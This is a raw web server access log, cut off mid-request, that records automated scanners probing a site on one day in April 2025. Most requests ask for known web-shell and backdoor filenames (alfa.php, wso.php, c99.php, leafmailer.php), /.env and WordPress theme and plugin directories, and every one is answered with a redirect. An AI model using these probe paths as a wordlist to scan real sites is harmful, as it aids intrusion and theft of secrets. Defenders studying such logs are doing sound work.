[15/Apr/2025:15:55:07 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:10 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:12 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:13 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:14 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:16 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:18 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:20 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:24 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:27 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:30 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:33 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:35 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:37 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:38 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:39 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:40 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:41 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:41 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:42 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:43 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:44 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:45 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:46 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:47 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:48 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:49 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:49 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:50 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:50 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:52 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:52 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:53 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:53 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:55 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:56 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:57 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:58 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:59 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:00 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:00 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:01 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:02 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:03 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:04 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:05 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:06 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:07 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:08 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:09 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:09 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:10 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:56:10 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 54.179.75.41 - - [15/Apr/2025:16:11:59 -0400] "GET /img/brand-associate/22_blurry_foods.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 49.51.33.159 - - [15/Apr/2025:16:41:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2a01:e0a:a67:b860:fcfd:7fb:4009:fea - - [15/Apr/2025:17:24:16 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 191.101.31.189 - - [15/Apr/2025:17:32:10 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:15 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:20 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:24 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:28 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:31 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:36 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:39 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:43 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:47 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:51 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:55 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:32:59 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:03 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:07 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:10 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:13 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:16 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:19 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:22 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:25 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:28 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:31 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:35 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:38 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:42 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:45 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:48 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:51 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:54 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:33:57 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:00 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:03 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:05 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:09 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:12 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:16 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:18 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:22 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:25 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:28 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:32 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:35 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:39 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:42 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:45 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:47 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:51 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:54 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:34:57 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:00 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:04 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:07 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:10 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:14 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:17 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 191.101.31.189 - - [15/Apr/2025:17:35:20 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 162.0.232.217 - - [15/Apr/2025:18:00:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:18:00:42 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:18:01:13 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:18:01:28 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 103.77.107.199 - - [15/Apr/2025:18:08:43 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 195.191.219.131 - - [15/Apr/2025:18:35:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [15/Apr/2025:18:35:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [15/Apr/2025:18:35:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [15/Apr/2025:18:35:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 20.14.154.215 - - [15/Apr/2025:18:47:52 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:55 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:56 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:57 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:57 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:58 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:58 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:59 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:47:59 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:18:48:00 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 38.154.42.241 - - [15/Apr/2025:18:56:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51" 196.251.88.242 - - [15/Apr/2025:19:21:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [15/Apr/2025:19:22:12 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.211.50 - - [15/Apr/2025:19:48:37 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:38 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:38 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:38 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:38 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:39 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:39 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:39 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:39 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:39 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:40 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:40 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:40 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:41 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:41 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:41 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:41 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:42 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:42 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:42 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:43 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:43 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:43 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:43 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:43 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:44 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:44 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:44 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:44 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:45 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [15/Apr/2025:19:48:45 -0400] "GET 